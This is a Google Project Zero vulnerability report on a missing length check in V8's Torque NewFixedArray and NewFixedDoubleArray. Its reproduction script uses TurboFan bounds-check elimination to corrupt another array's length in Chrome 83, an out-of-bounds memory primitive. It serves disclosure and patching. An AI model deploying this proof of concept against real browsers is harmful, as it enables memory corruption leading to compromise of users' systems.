Chrome suffers from a missing array size check in NewFixedArray.
3f2e8b27a8a3776f81ab7b46459f8a8eChrome: Missing array size check in NewFixedArray
VULNERABILITY DETAILS
V8 caps the number of elements a fixed array can contain[1]. Most of the code that needs to create
or resize a fast JS array (i.e. one that's backed by a fixed array rather than a dictionary) ends up
calling either the regular C++ function `AllocateRawFixedArray`[2] or its CSA equivalent
`AllocateFixedArray`[3]. Both functions validate the length parameter and terminate the execution
when the upper limit is exceeded.
Recently, the same operation has been implemented in Torque. The newly introduced functions
`NewFixedArray` and `NewFixedDoubleArray`, however, lack a similar length check:
```
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
return new
FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
floats: ...it
};
}
```
I've discovered two (indirect) users of `NewFixedArray` that can be abused to create an array with
an invalid length. The first one is `ArrayPrototypeSplice`[5]. An attacker can call `splice` to add
extra elements to a fast JS array that's just below the size limit. However, naively appending
elements in a loop in order to obtain such an *enormous but still valid* array would fail and
trigger an out-of-memory crash. A possible (and really quick) alternative is to merge a smaller
array with itself several times:
```
array = Array(0x80000).fill(1);
array.prop = 1;
args = Array(0x100 - 1).fill(array);
args.push(Array(0x80000 - 4).fill(2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3);
```
Another function that transitively calls `NewFixedArray` is `RegExpPrototypeMatch`[6]. In this case,
no preliminary array manipulation is required, although it's significantly slower:
```
giant_array = /a/g[Symbol.match]('a'.repeat(0x8000000));
```
The attacker can exploit this issue to confuse TurboFan's typer about the possible range of the
length property of a fast JS array and use the confusion to bypass security checks, similarly to,
for example, https://crbug.com/1051017. Unfortunately, the bounds check elimination technique from
previous exploits is still viable due to a bug in one the hardening patches[7] for the typer:
```
Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) {
[...]
if (!index_type.IsNone() && !length_type.IsNone() &&
index_type.Max() < length_type.Min()) {
Node* check_bounds = graph()->NewNode(
simplified()->CheckBounds(FeedbackSource{},
CheckBoundsFlag::kAbortOnOutOfBounds),
index, length, effect, control);
ReplaceWithValue(node, elements);
return Replace(check_bounds);
}
return NoChange();
}
```
The patch adds a `CheckBounds` node to prevent OOB write access when the typer incorrectly assumes
that a given array will never have to be extended. The problem is that the new node has no output
edges: by the time `Replace` is called, the original node's effect edge has been already modified by
`ReplaceWithValue`, and the value output from the `CheckBounds` node is never used. Therefore, the
new node always gets eliminated in one of the subsequent optimization passes.
There's also another `CheckBounds` node that verifies the array index is less than `length + 1024`,
so the attacker has to employ the OOB access to overwrite data located relatively close to the
array. A good candidate, which immediately presents a powerful exploitation primitive, is the length
field of another fast array.
---
[1] - https://cs.chromium.org/chromium/src/v8/src/objects/fixed-array.h?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=172
[2] - https://cs.chromium.org/chromium/src/v8/src/heap/factory-base.cc?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=732
[3] - https://cs.chromium.org/chromium/src/v8/src/codegen/code-stub-assembler.cc?rcl=5db4a28ef75f893e85b7f505f5528cc39e9deef5&l=3805
[4] - https://chromium.googlesource.com/v8/v8.git/+/bc0c25b4a0cd29d12bb5acb800b85dbb265580cb%5E%21/src/objects/fixed-array.tq
[5] - https://cs.chromium.org/chromium/src/v8/src/builtins/array-splice.tq?rcl=2e7c4b6690947264ad147d23706e2a4cb2775b7e&l=358
[6] - https://cs.chromium.org/chromium/src/v8/src/builtins/regexp-match.tq?rcl=2e7c4b6690947264ad147d23706e2a4cb2775b7e&l=144
[7] - https://chromium.googlesource.com/v8/v8.git/+/c85aa83087e7146281a95369cadf943ef78bf321%5E%21/#F1
REPRODUCTION CASE
```
<script>
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];
</script>
```
VERSION
Google Chrome 83.0.4103.61 (Official Build)
Chromium 85.0.4158.0 (Developer Build) (64-bit)
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will
become visible to the public. The scheduled disclosure date is 2020-08-25. Disclosure at an earlier
date is possible if agreed upon by all parties.
Found by: [email protected]